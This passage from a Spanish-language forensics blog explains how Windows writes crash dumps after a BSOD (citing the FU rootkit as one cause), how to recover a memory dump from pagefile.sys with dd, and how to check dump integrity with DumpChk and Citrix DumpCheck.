Un ejemplo válido se puede dar con el rootkit FU. Ampliamente conocido, este rootkit trabaja en modo Kernel sobreescribiendo estructuras propias del mismo, lo que le permite por ejemplo ocultar procesos. En muchas ocasiones, y tras instalarlo en el sistema, el proceso que se desee ocultar se oculta con facilidad, pero a la hora de detectarlo, puede que el sistema operativo presente un BSOD indicando que hay “algo” que no va bien. El proceso que sigue Windows para pintar la pantalla azul es el siguiente:

  • Manda parar las interrupciones del sistema
  • Llama a la CPU a detener
  • Pinta la pantalla azul
  • Notifica el driver que ha fallado
  • Si el DUMP está configurado, lo prepara para su volcado

En el procedimiento interno intervienen procesos como smss.exe, winlogon y savedump, los cuales son los que realizan las llamadas para extraer el volcado y pasarlo a un fichero. En el transcurso en el que el sistema vuelca el contenido de la RAM hasta que lo deposita en su correspondiente fichero, el sistema debe de guardar los datos en el archivo de paginación pagefile.sys. Al reiniciar el sistema operativo después de un BSOD, el proceso savedump es el encargado de pasar el volcado de memoria a su correspondiente fichero. Para que el procedimiento no presente errores, el archivo de paginación debe ser por lo menos 1′5 veces más grande que la memoria RAM. Si el archivo de paginación no sigue esta premisa, el volcado de memoria no se completará, o se completará con errores (Volcado corrupto).

Habrá ocasiones en las que cuando se nos presente un caso con estas características y se presente un BSOD, no podamos reiniciar el equipo para obtener muestras, con lo que atendiendo al RFC  3227, en un principio tan solo podríamos realizar un análisis de ficheros y disco, obviando los aspectos de memoria RAM. Pero gracias al comportamiento que tiene Windows a la hora de realizar el volcado de memoria, podemos recuperar ese volcado gracias al archivo de paginación.

dump.png

Para realizar la conversión, utilizaremos de nuevo la herramienta dd para volcar el contenido del archivo de paginación a un nuevo archivo DMP.

ddpagefile.png

Finalmente, podemos comprobar su integridad con las herramientas dumpchk o dmpchkex, ambas explicadas en anteriores artículos.

dmpchkpagefile.png

En posteriores artículos nos centraremos en la clase de información que podremos extraer de un volcado de memoria.

Enlaces:

Opciones de rendimiento en Windows XP

Optimizar archivo de paginación

DPM Magic

Memoria Virtual

Windows Hang and Dump Analysis (Mark Russinovich)

Saludos!




Análisis de memoria RAM. Verificando la integridad

18 02 2008

Una vez que hemos realizado los volcados de memoria, llega la hora de verificar la integridad de las mismas para comprobar si son factibles a la hora de trabajar con ellas. En este artículo presentaré herramientas de verificación de volcados de memoria en formato DMP, formato escogido para trabajar con las herramientas de debugging de Microsoft.

Este tipo de herramientas se hacen indispensables para la persona que se dedique o tenga relación directa con el análisis de volcados de memoria, ya que por un despiste, podemos perder horas y horas de trabajo. Si estamos trabajando con tipos de datos no muy grandes (Menor a un Giga por ejemplo), el proceso de copiado de éstos se hace sencillo, pero cuando trabajamos con equipos en los que la memoria RAM sobrepasa los 4GB, el transporte y análisis de éstos se hace mucho más complicado (Dependiendo del tipo de volcado que tenemos configurado en la máquina), y necesitamos más que nunca verificar la integridad de éstos. Si un volcado de memoria se genera de forma corrupta, no podremos abrirlo con ningún debuggeador, y tendremos que utilizar otras técnicas más austeras, complejas y tediosas para su análisis.

El funcionamiento de este tipo de utilidades es sencillo en su forma. Abren el volcado de memoria en busca del fallo que lo ha causado, como el código de error, y muestran el tipo de arquitectura de máquina, tipo de sistema operativo, etc.. Si no hay ningún código de error que muestre lo contrario, el volcado de memoria será íntegro, y podremos transportarlo en un medio seguro para poder trabajar con él.

A continuación muestro las dos herramientas más usadas para este tipo de verificación.

DumpChk

De las dos que presento en este artículo, dumpchk es la más completa, ya que esta herramienta nos va a mostrar mucha información sin tener que depurar nada, simplemente ejecutando este comando.

Esta herramienta nos va a mostrar desde el sistema operativo en donde proviene el volcado, uptime de la máquina, versión de compilación del sistema operativo, offset de la base del kernel, tipo de arquitectura, etc… Como podréis observar, muchísima información base y sin tener que depurar nada.

dumpchk.png

Esta herramienta, junto con muchas otras (Como bindiff para comparar ejecutables), las tenemos en el mismo CD de Windows XP por ejemplo, o descargando las Support Tools de Windows XP SP2, desde esta dirección:

http://www.microsoft.com/downloads/details.aspx?familyid=49ae8576-9bb9-4126-9761-ba8011fabf38

Si el volcado de memoria no es válido para ser tratado con las herramientas de debugging de Microsoft, nos aparecerá una respuesta diferente a la anterior:

errordumpchk.png

DumpCheck Utility (Citrix)

DumpCheck Utility, es otra de las grandes herramientas desarrolladas por Dmitry Vostokov. Esta herramienta también nos ayudará a verificar la integridad de un volcado de memoria. Cuando la integridad del volcado es correcta para que podamos realizar el análisis con Windbg, la herramienta mostrará lo siguiente:

dmpcheck.png

Si la herramienta detecta que el volcado de memoria no cumple con los criterios de integridad, o lo que es lo mismo, que el volcado está corrupto, la herramienta mostrará lo siguiente:

dmpcheckerror.png

Esta herramienta, junto con una explicación más detallada, la podéis descargar de aquí.

DumpCheck Utility Explorer (Citrix)

Para los que necesiten tener esta herramienta mucho más a mano, y no le guste tanto la línea de comandos, Dmitry Vostokov ha diseñado la misma herramienta, pero integrándola por completo en nuestro Explorer de Windows, haciendo esta tarea mucho más fácil, y mucho más amena para muchos. El funcionamiento es el mismo, pero esta vez sólo tendremos que utilizar el botón derecho del ratón. El resultado es el mismo que el anterior.

checkdump.png

La herramienta en cuestión, junto con su explicación detallada, la podéis descargar de aquí 

En el próximo artículo veremos un caso extraño de recolección de evidencias, aplicando técnicas diferentes y herramientas mostradas en estos artículos, consiguiendo un resultado óptimo.

Enlaces

Utilizar DumpChk en ambientes Windows NT, 2000 y 2003

Utilizar DumpChk en ambientes Windows XP

Saludos!